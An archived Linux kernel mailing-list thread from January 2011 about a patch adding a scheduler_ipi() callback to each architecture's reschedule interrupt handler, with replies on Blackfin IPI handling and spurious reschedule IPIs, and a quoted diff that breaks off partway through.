	bh=5gjEMzLF49GhTXSXM2nFfsxYWMc67ZfwJvIlZWRRRa8=;
	b=mGwPOZf6JusvIl/m61lz+VK70XLpGvKVBEJzFlYJw3mrNSJgTsRNjarmtEOajyyEKL
	44NIiapQygjOYcUqKuy72flA1AySTajCvP2sX0Vr+DKFmTIR4ZnO4qB/our3S5b57kmN
	MIyg/m3Qi9BI4XmCtntW950gMMN6t7HGfC/Lo=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma;
	h=mime-version:sender:in-reply-to:references:from:date
	:x-google-sender-auth:message-id:subject:to:cc:content-type;
	b=AQ8DMfudSDFN5xZ9ZvPibXo4FBPMHacy17FktUCKgtpaj7T9ksG5QsHkJ7mlhEX0bo
	pZ7Ex1djS64niqpux2kcZ8065CtYh1Q2jrX6nNFTAgG8EHRJpfIY0ZkZPKOavRKvMGj2
	hiAcsTTv0Ce+hZZssJczOgITFd6kY2XH64wXM=
Original-Received: by 10.216.162.70 with SMTP id x48mr305495wek.4.1295293830719; Mon,
	17 Jan 2011 11:50:30 -0800 (PST)
Original-Received: by 10.216.3.10 with HTTP; Mon, 17 Jan 2011 11:49:40 -0800 (PST)
In-Reply-To: <1295262433.30950.53.camel@laptop>
X-Google-Sender-Auth: eCL-FWyfVL6C8SbOp7p082cX3zY
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5089 gmane.linux.ports.mips.general:30032 gmane.linux.ports.ia64:21536 gmane.linux.ports.sh.devel:9855 gmane.linux.ports.sparc:14190 gmane.linux.kernel.cross-arch:8847 gmane.linux.kernel.virtualization:11197 gmane.linux.uml.devel:12677 gmane.comp.emulators.xen.devel:97210 gmane.linux.uml.user:13876 gmane.linux.ports.arm.kernel:102852 gmane.linux.ports.parisc:3393 gmane.linux.kernel:1088454 gmane.linux.ports.alpha:1303 gmane.linux.ports.ppc64.devel:72082
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5089>

On Mon, Jan 17, 2011 at 06:07, Peter Zijlstra wrote:
> Also, while reading through all this, I noticed the blackfin SMP code
> looks to be broken, it simply discards any IPI when low on memory.

not really.  see changelog of commit 73a400646b8e26615f3ef1a0a4bc0cd0d5bd284c.
-mike

From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.linux.uml.devel,gmane.comp.emulators.xen.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Mon, 17 Jan 2011 21:16:03 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <1295295363.30950.318.camel@laptop>
References: <1295262433.30950.53.camel@laptop>
	<AANLkTik3hE=_34Lbs944MzKpkNzqY+kCxpxmncUM2HB7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295295414 810 80.91.229.12 (17 Jan 2011 20:16:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 20:16:54 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Ralf-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org, Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
        Jeremy Fitzhardinge <jeremy.fitzhardinge-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
        Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        Koichi-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org, virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org,
        Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Matt Turner <mattst88
To: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Jan 17 21:16:39 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1PevVG-0005lL-Nz
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 17 Jan 2011 21:16:39 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p0HKGHxI019398;
	Mon, 17 Jan 2011 15:16:18 -0500
Original-Received: from casper.infradead.org (exim-FZi0V3Vbi30CUdFEqe4BF2D2FQJk+8+b@public.gmane.org [85.118.1.10])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP
	id p0HKG6wC019394 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 17 Jan 2011 15:16:11 -0500
Original-Received: from j77219.upc-j.chello.nl ([24.132.77.219] helo=laptop)
	by casper.infradead.org with esmtpsa (Exim 4.72 #1 (Red Hat Linux))
	id 1PevU3-0000Df-MU; Mon, 17 Jan 2011 20:15:23 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id 26CCD1033A271; Mon, 17 Jan 2011 21:16:04 +0100 (CET)
In-Reply-To: <AANLkTik3hE=_34Lbs944MzKpkNzqY+kCxpxmncUM2HB7-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Mailer: Evolution 2.30.3 
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5090 gmane.linux.ports.mips.general:30033 gmane.linux.ports.ia64:21537 gmane.linux.ports.sh.devel:9856 gmane.linux.ports.sparc:14191 gmane.linux.kernel.cross-arch:8848 gmane.linux.kernel.virtualization:11198 gmane.linux.uml.devel:12678 gmane.comp.emulators.xen.devel:97211 gmane.linux.uml.user:13877 gmane.linux.ports.arm.kernel:102856 gmane.linux.ports.parisc:3394 gmane.linux.kernel:1088457 gmane.linux.ports.alpha:1304 gmane.linux.ports.ppc64.devel:72083
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5090>

On Mon, 2011-01-17 at 14:49 -0500, Mike Frysinger wrote:
> On Mon, Jan 17, 2011 at 06:07, Peter Zijlstra wrote:
> > Also, while reading through all this, I noticed the blackfin SMP code
> > looks to be broken, it simply discards any IPI when low on memory.
> 
> not really.  see changelog of commit 73a400646b8e26615f3ef1a0a4bc0cd0d5bd284c.

Ah, indeed, it appears my tree was simply out of date, very good!

From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.kernel.virtualization,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.comp.emulators.xen.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
	smp_send_reschedule()
Date: Tue, 18 Jan 2011 07:31:50 +1100
Lines: 418
Approved: news@gmane.org
Message-ID: <1295296310.2148.29.camel@pasglop>
References: <1295262433.30950.53.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295296517 6641 80.91.229.12 (17 Jan 2011 20:35:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 20:35:17 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        "H. Peter
	Anvin" <hpa@zytor.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        David Howells <dhowells@redhat.com>, Paul Mackerras <paulus@samba.org>,
        Helge Deller <deller@gmx.de>, sparclinux@vger.kernel.org,
        Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
        Russell King <linux@arm.linux.org.uk>,
        Hirokazu Takata <takata@linux-m32r.org>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        virtualization@lists.osdl.org, Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Mike Frysinger <vapi
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: virtualization-bounces@lists.linux-foundation.org Mon Jan 17 21:35:03 2011
Return-path: <virtualization-bounces@lists.linux-foundation.org>
Envelope-to: glkv-virtualization@gmane.org
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <virtualization-bounces@lists.linux-foundation.org>)
	id 1Pevn4-0007HE-8n
	for glkv-virtualization@gmane.org; Mon, 17 Jan 2011 21:35:03 +0100
Original-Received: from daredevil.linux-foundation.org (localhost [127.0.0.1])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p0HKYYt4027140;
	Mon, 17 Jan 2011 12:34:35 -0800
Original-Received: from gate.crashing.org (gate.crashing.org [63.228.1.57])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with
	ESMTP id p0HKYRBl027131
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <virtualization@lists.osdl.org>; Mon, 17 Jan 2011 12:34:29 -0800
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id p0HKVpMH012543;
	Mon, 17 Jan 2011 14:31:52 -0600
In-Reply-To: <1295262433.30950.53.camel@laptop>
X-Mailer: Evolution 2.30.3 
Received-SPF: pass (localhost is always allowed.)
X-Spam-Status: No, hits=-5.586 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.21
X-BeenThere: virtualization@lists.linux-foundation.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux virtualization <virtualization.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=unsubscribe>
List-Archive: <http://lists.linux-foundation.org/pipermail/virtualization>
List-Post: <mailto:virtualization@lists.linux-foundation.org>
List-Help: <mailto:virtualization-request@lists.linux-foundation.org?subject=help>
List-Subscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=subscribe>
Original-Sender: virtualization-bounces@lists.linux-foundation.org
Errors-To: virtualization-bounces@lists.linux-foundation.org
Xref: news.gmane.org gmane.linux.kernel.virtualization:11199 gmane.linux.ports.mips.general:30034 gmane.linux.ports.ia64:21538 gmane.linux.ports.sh.devel:9857 gmane.linux.ports.sparc:14192 gmane.linux.kernel.cross-arch:8849 gmane.linux.uml.devel:12679 gmane.comp.emulators.xen.devel:97212 gmane.linux.uml.user:13878 gmane.linux.hardware.blackfin.kernel.devel:5091 gmane.linux.ports.arm.kernel:102857 gmane.linux.ports.parisc:3395 gmane.linux.kernel:1088462 gmane.linux.ports.alpha:1305 gmane.linux.ports.ppc64.devel:72085
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.virtualization/11199>

On Mon, 2011-01-17 at 12:07 +0100, Peter Zijlstra wrote:
> For future rework of try_to_wake_up() we'd like to push part of that
> onto the CPU the task is actually going to run on, in order to do so we
> need a generic callback from the existing scheduler IPI.
> 
> This patch introduces such a generic callback: scheduler_ipi() and
> implements it as a NOP.
> 
> I visited existing smp_send_reschedule() implementations and tried to
> add a call to scheduler_ipi() in their handler part, but esp. for MIPS
> I'm not quite sure I actually got all of them.
> 
> Also, while reading through all this, I noticed the blackfin SMP code
> looks to be broken, it simply discards any IPI when low on memory.

Beware of false positive, I've used "fake" reschedule IPIs in the past
for other things (like kicking a CPU out of sleep state for unrelated
reasons). Nothing that I know that is upstream today but some of that
might come back. I'd like to avoid having to add an atomic to know if
it's a real reschedule, will the scheduler be smart enough to not bother
with false positives ?

Cheers,
Ben.

> Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
> ---
>  arch/alpha/kernel/smp.c         |    1 +
>  arch/arm/kernel/smp.c           |    1 +
>  arch/blackfin/mach-common/smp.c |    3 ++-
>  arch/cris/arch-v32/kernel/smp.c |   13 ++++++++-----
>  arch/ia64/kernel/irq_ia64.c     |    2 ++
>  arch/ia64/xen/irq_xen.c         |   10 +++++++++-
>  arch/m32r/kernel/smp.c          |    2 +-
>  arch/mips/kernel/smtc.c         |    1 +
>  arch/mips/sibyte/bcm1480/smp.c  |    7 +++----
>  arch/mips/sibyte/sb1250/smp.c   |    7 +++----
>  arch/mn10300/kernel/smp.c       |    2 +-
>  arch/parisc/kernel/smp.c        |    1 +
>  arch/powerpc/kernel/smp.c       |    1 +
>  arch/s390/kernel/smp.c          |    6 +++---
>  arch/sh/kernel/smp.c            |    2 ++
>  arch/sparc/kernel/smp_32.c      |    2 +-
>  arch/sparc/kernel/smp_64.c      |    1 +
>  arch/tile/kernel/smp.c          |    1 +
>  arch/um/kernel/smp.c            |    2 +-
>  arch/x86/kernel/smp.c           |    1 +
>  arch/x86/xen/smp.c              |    1 +
>  include/linux/sched.h           |    1 +
>  22 files changed, 46 insertions(+), 22 deletions(-)
> 
> diff --git a/arch/alpha/kernel/smp.c b/arch/alpha/kernel/smp.c
> index 42aa078..c4a570b 100644
> --- a/arch/alpha/kernel/smp.c
> +++ b/arch/alpha/kernel/smp.c
> @@ -587,6 +587,7 @@ handle_ipi(struct pt_regs *regs)
>  		case IPI_RESCHEDULE:
>  			/* Reschedule callback.  Everything to be done
>  			   is done by the interrupt return path.  */
> +			scheduler_ipi();
>  			break;
>  
>  		case IPI_CALL_FUNC:
> diff --git a/arch/arm/kernel/smp.c b/arch/arm/kernel/smp.c
> index 9066473..ffde790 100644
> --- a/arch/arm/kernel/smp.c
> +++ b/arch/arm/kernel/smp.c
> @@ -579,6 +579,7 @@ asmlinkage void __exception do_IPI(struct pt_regs *regs)
>  				 * nothing more to do - eveything is
>  				 * done on the interrupt return path
>  				 */
> +				scheduler_ipi();
>  				break;
>  
>  			case IPI_CALL_FUNC:
> diff --git a/arch/blackfin/mach-common/smp.c b/arch/blackfin/mach-common/smp.c
> index a17107a..e210f8a 100644
> --- a/arch/blackfin/mach-common/smp.c
> +++ b/arch/blackfin/mach-common/smp.c
> @@ -156,6 +156,7 @@ static irqreturn_t ipi_handler(int irq, void *dev_instance)
>  		case BFIN_IPI_RESCHEDULE:
>  			/* That's the easiest one; leave it to
>  			 * return_from_int. */
> +			scheduler_ipi();
>  			kfree(msg);
>  			break;
>  		case BFIN_IPI_CALL_FUNC:
> @@ -301,7 +302,7 @@ void smp_send_reschedule(int cpu)
>  
>  	msg = kzalloc(sizeof(*msg), GFP_ATOMIC);
>  	if (!msg)
> -		return;
> +		return; /* XXX unreliable needs fixing ! */
>  	INIT_LIST_HEAD(&msg->list);
>  	msg->type = BFIN_IPI_RESCHEDULE;
>  
> diff --git a/arch/cris/arch-v32/kernel/smp.c b/arch/cris/arch-v32/kernel/smp.c
> index 84fed3b..86e3c76 100644
> --- a/arch/cris/arch-v32/kernel/smp.c
> +++ b/arch/cris/arch-v32/kernel/smp.c
> @@ -340,15 +340,18 @@ irqreturn_t crisv32_ipi_interrupt(int irq, void *dev_id)
>  
>  	ipi = REG_RD(intr_vect, irq_regs[smp_processor_id()], rw_ipi);
>  
> +	if (ipi.vector & IPI_SCHEDULE) {
> +		scheduler_ipi();
> +	}
>  	if (ipi.vector & IPI_CALL) {
> -	         func(info);
> +		func(info);
>  	}
>  	if (ipi.vector & IPI_FLUSH_TLB) {
> -		     if (flush_mm == FLUSH_ALL)
> -			 __flush_tlb_all();
> -		     else if (flush_vma == FLUSH_ALL)
> +		if (flush_mm == FLUSH_ALL)
> +			__flush_tlb_all();
> +		else if (flush_vma == FLUSH_ALL)
>  			__flush_tlb_mm(flush_mm);
> -		     else
> +		else
>  			__flush_tlb_page(flush_vma, flush_addr);
>  	}
>  
> diff --git a/arch/ia64/kernel/irq_ia64.c b/arch/ia64/kernel/irq_ia64.c
> index 9a26015..a580230 100644
> --- a/arch/ia64/kernel/irq_ia64.c
> +++ b/arch/ia64/kernel/irq_ia64.c
> @@ -31,6 +31,7 @@
>  #include <linux/irq.h>
>  #include <linux/ratelimit.h>
>  #include <linux/acpi.h>
> +#include <linux/sched.h>
>  
>  #include <asm/delay.h>
>  #include <asm/intrinsics.h>
> @@ -496,6 +497,7 @@ ia64_handle_irq (ia64_vector vector, struct pt_regs *regs)
>  			smp_local_flush_tlb();
>  			kstat_incr_irqs_this_cpu(irq, desc);
>  		} else if (unlikely(IS_RESCHEDULE(vector))) {
> +			scheduler_ipi();
>  			kstat_incr_irqs_this_cpu(irq, desc);
>  		} else {
>  			ia64_setreg(_IA64_REG_CR_TPR, vector);
> diff --git a/arch/ia64/xen/irq_xen.c b/arch/ia64/xen/irq_xen.c
> index a3fb7cf..2f235a3 100644
> --- a/arch/ia64/xen/irq_xen.c
> +++ b/arch/ia64/xen/irq_xen.c
> @@ -92,6 +92,8 @@ static unsigned short saved_irq_cnt;
>  static int xen_slab_ready;
>  
>  #ifdef CONFIG_SMP
> +#include <linux/sched.h>
> +
>  /* Dummy stub. Though we may check XEN_RESCHEDULE_VECTOR before __do_IRQ,
>   * it ends up to issue several memory accesses upon percpu data and
>   * thus adds unnecessary traffic to other paths.
> @@ -99,7 +101,13 @@ static int xen_slab_ready;
>  static irqreturn_t
>  xen_dummy_handler(int irq, void *dev_id)
>  {
> +	return IRQ_HANDLED;
> +}
>  
> +static irqreturn_t
> +xen_resched_handler(int irq, void *dev_id)
> +{
> +	scheduler_ipi();
>  	return IRQ_HANDLED;
>  }
>  
> @@ -110,7 +118,7 @@ static struct irqaction xen_ipi_irqaction = {
>  };
>  
>  static struct irqaction xen_resched_irqaction = {
> -	.handler =	xen_dummy_handler,
> +	.handler =	xen_resched_handler,
>  	.flags =	IRQF_DISABLED,
>  	.name =		"resched"
>  };
> diff --git a/arch/m32r/kernel/smp.c b/arch/m32r/kernel/smp.c
> index 31cef20..f0ecc3f 100644
> --- a/arch/m32r/kernel/smp.c
> +++ b/arch/m32r/kernel/smp.c
> @@ -138,7 +138,7 @@ void smp_send_reschedule(int cpu_id)
>   *==========================================================================*/
>  void smp_reschedule_interrupt(void)
>  {
> -	/* nothing to do */
> +	scheduler_ipi();
>  }
>  
>  /*==========================================================================*
> diff --git a/arch/mips/kernel/smtc.c b/arch/mips/kernel/smtc.c
> index 39c0825..0443e91 100644
> --- a/arch/mips/kernel/smtc.c
> +++ b/arch/mips/kernel/smtc.c
> @@ -931,6 +931,7 @@ static void post_direct_ipi(int cpu, struct smtc_ipi *pipi)
>  static void ipi_resched_interrupt(void)
>  {
>  	/* Return from interrupt should be enough to cause scheduler check */
> +	scheduler_ipi();
>  }
>  
>  static void ipi_call_interrupt(void)
> diff --git a/arch/mips/sibyte/bcm1480/smp.c b/arch/mips/sibyte/bcm1480/smp.c
> index 47b347c..513a301 100644
> --- a/arch/mips/sibyte/bcm1480/smp.c
> +++ b/arch/mips/sibyte/bcm1480/smp.c
> @@ -20,6 +20,7 @@
>  #include <linux/delay.h>
>  #include <linux/smp.h>
>  #include <linux/kernel_stat.h>
> +#include <linux/sched.h>
>  
>  #include <asm/mmu_context.h>
>  #include <asm/io.h>
> @@ -189,10 +190,8 @@ void bcm1480_mailbox_interrupt(void)
>  	/* Clear the mailbox to clear the interrupt */
>  	__raw_writeq(((u64)action)<<48, mailbox_0_clear_regs[cpu]);
>  
> -	/*
> -	 * Nothing to do for SMP_RESCHEDULE_YOURSELF; returning from the
> -	 * interrupt will do the reschedule for us
> -	 */
> +	if (actione & SMP_RESCHEDULE_YOURSELF)
> +		scheduler_ipi();
>  
>  	if (action & SMP_CALL_FUNCTION)
>  		smp_call_function_interrupt();
> diff --git a/arch/mips/sibyte/sb1250/smp.c b/arch/mips/sibyte/sb1250/smp.c
> index c00a5cb..38e7f6b 100644
> --- a/arch/mips/sibyte/sb1250/smp.c
> +++ b/arch/mips/sibyte/sb1250/smp.c
> @@ -21,6 +21,7 @@
>  #include <linux/interrupt.h>
>  #include <linux/smp.h>
>  #include <linux/kernel_stat.h>
> +#include <linux/sched.h>
>  
>  #include <asm/mmu_context.h>
>  #include <asm/io.h>
> @@ -177,10 +178,8 @@ void sb1250_mailbox_interrupt(void)
>  	/* Clear the mailbox to clear the interrupt */
>  	____raw_writeq(((u64)action) << 48, mailbox_clear_regs[cpu]);
>  
> -	/*
> -	 * Nothing to do for SMP_RESCHEDULE_YOURSELF; returning from the
> -	 * interrupt will do the reschedule for us
> -	 */
> +	if (action & SMP_RESCHEDULE_YOURSELF)
> +		scheduler_ipi();
>  
>  	if (action & SMP_CALL_FUNCTION)
>  		smp_call_function_interrupt();
> diff --git a/arch/mn10300/kernel/smp.c b/arch/mn10300/kernel/smp.c
> index 0dcd1c6..17f16ca 100644
> --- a/arch/mn10300/kernel/smp.c
> +++ b/arch/mn10300/kernel/smp.c
> @@ -471,7 +471,7 @@ void smp_send_stop(void)
>   */
>  static irqreturn_t smp_reschedule_interrupt(int irq, void *dev_id)
>  {
> -	/* do nothing */
> +	scheduler_ipi();
>  	return IRQ_HANDLED;
>  }
>  
> diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
> index 69d63d3..f8f7970 100644
> --- a/arch/parisc/kernel/smp.c
> +++ b/arch/parisc/kernel/smp.c
> @@ -155,6 +155,7 @@ ipi_interrupt(int irq, void *dev_id)
>  				
>  			case IPI_RESCHEDULE:
>  				smp_debug(100, KERN_DEBUG "CPU%d IPI_RESCHEDULE\n", this_cpu);
> +				scheduler_ipi();
>  				/*
>  				 * Reschedule callback.  Everything to be
>  				 * done is done by the interrupt return path.
> diff --git a/arch/powerpc/kernel/smp.c b/arch/powerpc/kernel/smp.c
> index 68034bb..7ee0fc3 100644
> --- a/arch/powerpc/kernel/smp.c
> +++ b/arch/powerpc/kernel/smp.c
> @@ -128,6 +128,7 @@ static irqreturn_t call_function_action(int irq, void *data)
>  static irqreturn_t reschedule_action(int irq, void *data)
>  {
>  	/* we just need the return path side effect of checking need_resched */
> +	scheduler_ipi();
>  	return IRQ_HANDLED;
>  }
>  
> diff --git a/arch/s390/kernel/smp.c b/arch/s390/kernel/smp.c
> index 94cf510..61789e8 100644
> --- a/arch/s390/kernel/smp.c
> +++ b/arch/s390/kernel/smp.c
> @@ -163,12 +163,12 @@ static void do_ext_call_interrupt(unsigned int ext_int_code,
>  
>  	/*
>  	 * handle bit signal external calls
> -	 *
> -	 * For the ec_schedule signal we have to do nothing. All the work
> -	 * is done automatically when we return from the interrupt.
>  	 */
>  	bits = xchg(&S390_lowcore.ext_call_fast, 0);
>  
> +	if (test_bit(ec_schedule, &bits))
> +		scheduler_ipi();
> +
>  	if (test_bit(ec_call_function, &bits))
>  		generic_smp_call_function_interrupt();
>  
> diff --git a/arch/sh/kernel/smp.c b/arch/sh/kernel/smp.c
> index 509b36b..6207561 100644
> --- a/arch/sh/kernel/smp.c
> +++ b/arch/sh/kernel/smp.c
> @@ -20,6 +20,7 @@
>  #include <linux/module.h>
>  #include <linux/cpu.h>
>  #include <linux/interrupt.h>
> +#include <linux/sched.h>
>  #include <asm/atomic.h>
>  #include <asm/processor.h>
>  #include <asm/system.h>
> @@ -323,6 +324,7 @@ void smp_message_recv(unsigned int msg)
>  		generic_smp_call_function_interrupt();
>  		break;
>  	case SMP_MSG_RESCHEDULE:
> +		scheduler_ipi();
>  		break;
>  	case SMP_MSG_FUNCTION_SINGLE:
>  		generic_smp_call_function_single_interrupt();
> diff --git a/arch/sparc/kernel/smp_32.c b/arch/sparc/kernel/smp_32.c
> index 91c10fb..042d8c9 100644
> --- a/arch/sparc/kernel/smp_32.c
> +++ b/arch/sparc/kernel/smp_32.c
> @@ -125,7 +125,7 @@ struct linux_prom_registers smp_penguin_ctable __cpuinitdata = { 0 };
>  
